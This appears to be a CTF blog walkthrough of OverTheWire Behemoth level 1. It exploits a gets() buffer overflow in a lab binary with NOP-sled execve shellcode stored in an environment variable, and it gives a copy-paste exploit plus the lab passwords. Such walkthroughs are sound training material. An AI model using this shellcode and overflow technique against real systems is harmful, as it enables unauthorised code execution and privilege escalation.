Avatar
Part time CTF Player learn every day!!
🌠 I Love Hoshimachi Suisei!! 🌠
🌠 I Love Hoshimachi Suisei!! 🌠

OverTheWire Behemoth Level 1 → 2 tutorial!!

Login

Log in as behemoth1 using the password you obtained from Level 0 → 1.

ssh behemoth1@behemoth.labs.overthewire.org -p 2221
# password: aesebootiv

Task

There is a binary called /behemoth/behemoth1. This time, ltrace won’t help. Instead, the binary is vulnerable to a stack buffer overflow. We need to craft an exploit to overwrite the return address and redirect execution to shellcode we control.


A little bit of Theory

  • gets(3) → unsafe, doesn’t check buffer length → classic overflow.
  • Offset discovery → how many bytes to smash EIP.
  • Shellcode in env var → store /bin/sh payload in SHELLCODE with a NOP sled.
  • Return-to-env → overwrite EIP with the address of that variable (in little endian).

Further reading:


Solution

1. Baseline run

cd /behemoth
./behemoth1
Password: blah
Authentication failure.
Sorry.

Now try flooding input:

(python -c "print(128 * 'A')" | ./behemoth1)
# → Segmentation fault

2. Find offset with GDB

gdb -q ./behemoth1
(gdb) set disassembly-flavor intel
(gdb) disas main

You’ll see:

sub esp,0x44     ; reserves 68 bytes for input buffer
call gets@plt

Now feed a test pattern:

run < <(python -c "print(71*'A' + 'BBBB')")

EIP is now 0x42424242 → ✅ offset ≈ 71 bytes.


3. Prepare shellcode in an environment variable

export SHELLCODE=$(python -c 'print(20*"\x90" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80")')

This is the standard 32-bit execve(“/bin/sh”) shellcode, with a 20-byte NOP sled.


4. Find address of env var

Helper program /tmp/find_addr.c:

#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
    printf("%s is at %p\n", argv[1], getenv(argv[1]));
    return 0;
}

Compile & run:

gcc -m32 /tmp/find_addr.c -o /tmp/find_addr
/tmp/find_addr SHELLCODE
# Example output: SHELLCODE is at 0xffffde80

5. Exploit

Now overwrite EIP with that address (little endian):

(python -c 'import sys; sys.stdout.write("A"*71 + "\x80\xde\xff\xff")' | ./behemoth1)

If successful, you’ll get:

whoami
# behemoth2
cat /etc/behemoth_pass/behemoth2
# eimahquuof

Password

eimahquuof

Troubleshooting

  • Segfault but no shell → adjust the return address ±16–64 bytes (land in NOP sled).
  • Wrong offset → verify with BBBB test that EIP really becomes 0x42424242.
  • Still “Authentication failure” → ensure your payload ends with \n.
  • Env addr mismatch → check /tmp/find_addr SHELLCODE outside gdb (inside gdb, addresses shift).

Copy-paste quick run (one shot)

ssh behemoth1@behemoth.labs.overthewire.org -p 2221
# password: aesebootiv

# 1) Set env var
export SHELLCODE=$(python -c 'print(20*"\x90" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80")')

# 2) Helper
cat >/tmp/find_addr.c <<'EOF'
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]) { printf("%s is at %p\n", argv[1], getenv(argv[1])); }
EOF
gcc -m32 /tmp/find_addr.c -o /tmp/find_addr
/tmp/find_addr SHELLCODE

# 3) Exploit (adjust address if needed)
cd /behemoth
(python -c 'import sys; sys.stdout.write("A"*71 + "\x80\xde\xff\xff")' | ./behemoth1)

whoami
cat /etc/behemoth_pass/behemoth2

Congrats 🎉 You built your first buffer overflow exploit with ret2env shellcode, escalated to behemoth2, and captured the next password!


Thanks for reading!

Until next time — Otsumachi!! 💖☄️✨

Cinema

all tags

GOT-overwrite aboutme aead ai alphanumeric-shellcode apt argc0 argon2 aslr assembly asymmetric atoi automation backbox bandit base64 bash beginner behemoth binary binary-exploitation binary-to-ascii blackarch blind blind-sqli blogging blue-team bruteforce buffer-overflow buffer-overwrite c caesar canary capabilities checksec command-injection commonmark cookie cron crypto cryptography ctf cutter cyberchef cybersecurity defenders detection dev directory-traversal dnf docs drifter ecc education elf env envp exploitation finale forensics format-string formulaone frequency frequency-analysis gcc gdb getchar gfm ghidra github-pages governance gpg guide hashing hkdf http jekyll jmpbuf kali kasiski kdf kernel keylength kramdown krypton lab ld_preload leviathan lfi lfsr linux linux-syscall llmops log-poisoning ltrace manpage markdown maze memcpy mitigations mitmproxy mlops narnia natas networking newline-injection nonce nop-sled nx object-injection obsidian openssl osint overflow overthewire package-manager pacman parrot path path-hijacking pathname php pie pkc pki pointer-trick pqc priv-esc privilege-escalation provable-security pwn pwntools pyshark python race-condition radare2 rag randomness recon red-team redirect relro requests ret2env ret2libc reverse-engineering reversing ricing roadmap rop rot13 rsa scapy security seed seo serialization session setjmp-longjmp setuid shell shellcode smoke soc sockets sprintf sql-injection srop stack-canary stack-overflow strace strcmp strcpy streamcipher strings strncpy strtoul substitution suid suisei symlink symmetric terminal test threat-intel time-based tls troubleshooting tshark type-juggling ubuntu udp utumno vigenere virtualbox virtualization vmware vortex walkthrough web windows wireshark writing wsl x86
dash theme for Jekyll by bitbrain made with